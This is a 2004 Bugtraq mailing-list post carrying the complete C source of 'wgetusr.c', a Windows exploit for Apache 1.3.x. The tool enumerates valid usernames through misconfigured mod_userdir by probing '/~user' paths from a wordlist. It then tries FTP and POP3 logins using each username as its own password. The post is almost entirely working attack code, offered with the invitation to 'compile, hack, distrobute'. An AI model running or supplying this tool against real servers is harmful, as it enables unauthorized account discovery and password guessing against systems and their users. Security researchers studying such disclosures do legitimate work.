Apache 1.3.x mod_userdir Exploit (wgetusr.c)

From: John Bissell (monkey321_1_at_hotmail.com)
Date: 07/22/04

  • Next message: Hugo van der Kooij: "eSafe: Could this be exploited?"
    Date: 22 Jul 2004 03:39:05 -0000
    To: bugtraq@securityfocus.com
    
    
    ('binary' encoding is not supported, stored as-is)

    /*-------------------------------------------------------------------
     *
     * Exploit: wgetusr.c Windows Version
     * Author: HighT1mes (John Bissell)
     * Date Released: July 21, 2004
     *
     * --- Code ported to Windows with some added code,
     * based on getusr.c exploit by CoKi ---
     *
     * Description from CoKi:
     * ======================
     *
     * This tool tries to find users in a Apache 1.3.*
     * server through wrong default configuration of
     * module mod_userdir.
     *
     * My Believe:
     * ===========
     *
     * I believe in the current state of the web right
     * now this information leak bug can be pretty nasty.
     * Once you have a couple login names on a system
     * there are many services the attacker can target
     * to attack and work his way into the target system
     * to get local access.
     *
     * Program Usage:
     * ==============
     *
     * Use: wgetusr [options] -h <host> -u <usrfile>
     * -h Host
     * -u Users file
     * Options
     * -f Try log on via FTP
     * -p Try log on via POP3
     *
     * VC++ 6.0 Compilation Information:
     * =================================
     *
     * First go on the net and get the getopt libs and header
     * file for VC++ 6.0 Here's a link...
     *
     * http://prantl.host.sk/getopt/files/getopt-msvs6.zip
     *
     * Now extract the libs into your standerd VC++ Lib directory,
     * and extract the getopt.h header file of course into the
     * Include directory.
     *
     * Now to compile make a new console app project,
     * then put this source file in the project.
     * Next goto Project->Settings. Then click on
     * the link tab then goto the input catagory.
     * Now add getopt.lib to the end of objects/librarys
     * modules text box. Then in the Ignore Librarys
     * text box type LIBCD.lib to ignore that lib and allow
     * compilation to complete because of getopt lib.
     *
     * Also you where you added getopt.lib to the
     * objects/librarys modules text box put ws2_32.lib
     * in that text box as well.
     *
     * Your all set compile, hack, distrobute, have fun! :)
     *
    *-------------------------------------------------------------------*/

    #include <getopt.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <errno.h>
    #include <string.h>
    #include <windows.h>

    #define DATAMAX 50
    #define BUFFER 1000
    #define TCPIP_ERROR -1
    #define TIMEOUT 3
    #define HTTP_PORT 80
    #define FTP_PORT 21
    #define POP3_PORT 110

    void use(char *program);
    int connect_timeout(int sfd, struct sockaddr *serv_addr, int timeout);
    void vrfy_apache(char *host);
    void vrfy_vuln(char *host);
    int test_user(char *host, char *user);
    int trylogonFTP(char *host, char *user, char *pass);
    int mkconn(char *host, unsigned short port);
    int trylogonPOP3(char *host, char *user, char *pass);
     
    struct hostent *he;
    char **fuser;
    int sockfd;
    struct sockaddr_in dest_dir;

    int main(int argc, char *argv[]) {

      FILE *userlist;
      char c, *host=NULL, *ulist=NULL;
      char user[DATAMAX];
      int ucant=0, flogged=0, plogged=0, optftp=0, optpop=0, stop=0;
      unsigned int cant=0, i, user_num;
      WSADATA wsaData;
      int result=0;

      printf(" =================================\n");
      printf(" wgetusr exploit by HighT1mes\n");
      printf(" Based on getusr.c code by CoKi\n");
      printf(" =================================\n\n");
      Sleep(1000);

      if(argc < 2) use(argv[0]);

      result = WSAStartup( MAKEWORD( 2,2 ), &wsaData );
             if ( result != NO_ERROR ) {
                        printf( "Error at WSAStartup()\n" );
                    return( EXIT_FAILURE );
            }

      while((c = getopt(argc, argv, "h:u:fp")) != EOF) {
        switch(c) {
          case 'h':
                   host = optarg;
                   break;
          case 'u':
                   ulist = optarg;
                   break;
          case 'f':
                   optftp = 1;
                   break;
          case 'p':
                   optpop = 1;
                   break;
          default :
                   use(argv[0]);
                   break;
        }
      }

      if(host == NULL) use(argv[0]);
      if(ulist == NULL) use(argv[0]);
      
      printf(" [+] verifying list:\t");

      if((userlist = fopen(ulist, "r")) == NULL) {
        printf("Failed\n\n");
        exit(1);
      }
      
      while(!feof(userlist)) if('\n' == fgetc(userlist)) ucant++;
      rewind(userlist);
          
      printf("OK (%d users)\n", ucant);
      Sleep(1000);
      fuser = (char **)malloc(sizeof(ucant));

      printf(" [+] verifying host:\t");
          
      if((he=gethostbyname(host)) == NULL) {
        perror("Error: ");
            Sleep(1000);
        printf("\n");
        exit(1);
      }

      printf("OK\n");
      Sleep(1000);

      printf(" [+] connecting:\t");

      if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) {
        printf("Closed\n\n");
            Sleep(1000);
        exit(1);
      }
      
      printf("OK\n");
      Sleep(1000);
      closesocket(sockfd);

      vrfy_apache(host);
      Sleep(1000);
      
      vrfy_vuln(host);
      Sleep(1000);
          
      user_num = 1;
      while(!feof(userlist)) {
        if(fgets(user, sizeof(user), userlist) == NULL) break;
        user[strlen(user)-1] = '\0';
           
        if(test_user(host, user) == 0) {
          fuser[cant] = (char *)malloc(sizeof(user));
          memcpy(fuser[cant],user,strlen(user));
          memset(fuser[cant]+strlen(user),0,1);
          cant++;
        }

            system("CLS");
            printf(" wgetusr exploit by HighT1mes\n\n");
            printf(" [+] searching for system accounts, please wait...\n");
            printf(" [+] processing user #%d\n", user_num);
            user_num++;
      }
       
      if(cant == 0) {
        printf(" no users found\n\n");
        exit(1);
      }
      else {
            /* print out valid usernames found */
            printf(" [+] scan results for %s:\n\n", host);
            for (i = 0; i < cant; i++) {
                    printf(" found username: %s\n", fuser[i]);
            }
      }

      printf("\n");

      if(optftp == 1) {
        stop = 0;
        printf(" [+] trying log on via FTP...\n");
        printf(" [+] connecting:\t");

        
        if(mkconn(host, FTP_PORT) == TCPIP_ERROR) {
          printf("Closed\n");
          stop = 1;
        }
      
        if(!stop) {
          printf("OK\n");
          closesocket(sockfd);
          for(i=0; i < cant; i++) {
            if(trylogonFTP(host, fuser[i], fuser[i]) == 0) {
              printf(" logged in: %s\n", fuser[i]);
              flogged++;
            }
          }
          if(flogged == 0) printf(" no users logged in\n");
        }
      }

      if(optpop == 1) {
        stop = 0;
        printf(" [+] trying log on via POP3...\n");
        printf(" [+] connecting:\t");
        (stdout);
        
        if(mkconn(host, POP3_PORT) == TCPIP_ERROR) {
          printf("Closed\n");
          stop = 1;
        }
        
        if(!stop) {
          printf("OK\n");
          closesocket(sockfd);
          for(i=0; i < cant; i++) {
            if(trylogonPOP3(host, fuser[i], fuser[i]) == 0) {
              printf(" logged in: %s\n", fuser[i]);
              plogged++;
            }
          }
          if(plogged == 0) printf(" no users logged in\n");
        }
      }
         
      printf("\n");
      fclose(userlist);
      WSACleanup();
      return 0;
    }

    void use(char *program) {
      printf("Use: %s [options] -h <host> -u <usrfile>\n", program);
      printf(" -h\tHost\n");
      printf(" -u\tUsers file\n");
      printf(" Options\n");
      printf(" -f\tTry log on via FTP\n");
      printf(" -p\tTry log on via POP3\n");
      exit(1);
    }

    int connect_timeout(int sfd, struct sockaddr *serv_addr, int timeout)
    {
      int res, slen, flags;
      struct timeval tv;
      struct sockaddr_in addr;
      fd_set rdf, wrf;
      int iMode = 0;

      ioctlsocket(sfd, FIONBIO, &iMode);

      res = connect(sfd, serv_addr, sizeof(struct sockaddr));

      if (res >= 0) return res;

      FD_ZERO(&rdf);
      FD_ZERO(&wrf);

      FD_SET(sfd, &rdf);
      FD_SET(sfd, &wrf);
      memset(&tv, 0, sizeof(tv));
      tv.tv_sec = timeout;

      if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
        return -1;

      if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
        slen = sizeof(addr);
        if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
        return -1;

        flags = ioctlsocket(sfd, FIONBIO, NULL);
            iMode = flags & ~iMode;
        ioctlsocket(sfd, FIONBIO, &iMode);

        return 0;
      }

      return -1;
    }

    void vrfy_apache(char *host) {
      char buf[BUFFER], sendstr[DATAMAX];
            
      printf(" [+] verifying Apache:\t");

      if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("Closed\n");

      sprintf(sendstr, "HEAD / HTTP/1.0\n\n");
      send(sockfd, sendstr, sizeof(sendstr), 0);
      memset(buf, 0, sizeof(buf));
      recv(sockfd, buf, sizeof(buf), 0);
                
      if(strstr(buf, "Server: Apache")) printf("OK\n");
      else {
        printf("NO\n\n");
        exit(1);
      }

      closesocket(sockfd);
    }

    void vrfy_vuln(char *host) {
      char buf[BUFFER], sendstr[DATAMAX];
              
      printf(" [+] vulnerable:\t");
      
      if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("Closed\n");
      
      memset(sendstr, 0, sizeof(sendstr));
      sprintf(sendstr, "GET /~root\n");
      send(sockfd, sendstr, sizeof(sendstr), 0);

      recv(sockfd, buf, sizeof(buf), 0);
                                            
      if(strstr(buf, "403")) printf("OK\n");
      else {
        printf("NO\n\n");
        exit(1);
      }

      closesocket(sockfd);
    }

    int test_user(char *host, char *user) {
      char buf[BUFFER], sendstr[DATAMAX];
     
      if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf(" Closed\n");
      
      memset(sendstr, 0, sizeof(sendstr));
      sprintf(sendstr, "GET /~%s\n", user);
      send(sockfd, sendstr, sizeof(sendstr), 0);
      
      recv(sockfd, buf, sizeof(buf), 0);

      if(strstr(buf, "403")) return 0;
      else return 1;
                                                          
      closesocket(sockfd);
    }

    int trylogonFTP(char *host, char *user, char *pass) {
      char buf[BUFFER], *senduser, *sendpass;
      
      senduser = malloc(sizeof(user+6));
      sendpass = malloc(sizeof(pass+6));
      
      sprintf(senduser,"USER %s\n",user);
      sprintf(sendpass,"PASS %s\n",pass);
      
      if(mkconn(host, FTP_PORT) == TCPIP_ERROR) printf(" Closed\n");
      
      memset(buf,0,sizeof(buf));
      recv(sockfd,buf,sizeof(buf),0);
      send(sockfd,senduser,strlen(senduser), 0);
      memset(buf,0,sizeof(buf));
      recv(sockfd,buf,sizeof(buf),0);
      send(sockfd,sendpass,strlen(sendpass), 0);
      memset(buf,0,sizeof(buf));
      recv(sockfd,buf,sizeof(buf),0);
      
      if(strstr(buf, "230")) return 0;
      else return 1;
                                                          
      closesocket(sockfd);
    }

    int mkconn(char *host, unsigned short port) {

      if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == TCPIP_ERROR) {
        perror("Error");
        printf("\n");
        exit(1);
      }
                    
      dest_dir.sin_family = AF_INET;
      dest_dir.sin_port = htons(port);
      dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
      memset(&(dest_dir.sin_zero), 0, 8);

      if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir, TIMEOUT) == TCPIP_ERROR) {
        return TCPIP_ERROR;
      }
      
      return 0;
    }

    int trylogonPOP3(char *host, char *user, char *pass) {
      char buf[BUFFER], *senduser, *sendpass;
      
      senduser = malloc(sizeof(user+6));
      sendpass = malloc(sizeof(pass+6));

      sprintf(senduser,"USER %s\n",user);
      sprintf(sendpass,"PASS %s\n",pass);
          
      if(mkconn(host, POP3_PORT) == TCPIP_ERROR) printf(" Closed\n");
      
      memset(buf,0,sizeof(buf));
      recv(sockfd,buf,sizeof(buf),0);
      send(sockfd,senduser,strlen(senduser), 0);
      memset(buf,0,sizeof(buf));
      recv(sockfd,buf,sizeof(buf),0);
      send(sockfd,sendpass,strlen(sendpass), 0);
      memset(buf,0,sizeof(buf));
      recv(sockfd,buf,sizeof(buf),0);

      if(strstr(buf, "+OK")) return 0;
      else return 1;
        
      closesocket(sockfd);
    }

    /* EOF */


  • Next message: Hugo van der Kooij: "eSafe: Could this be exploited?"
  • Quantcast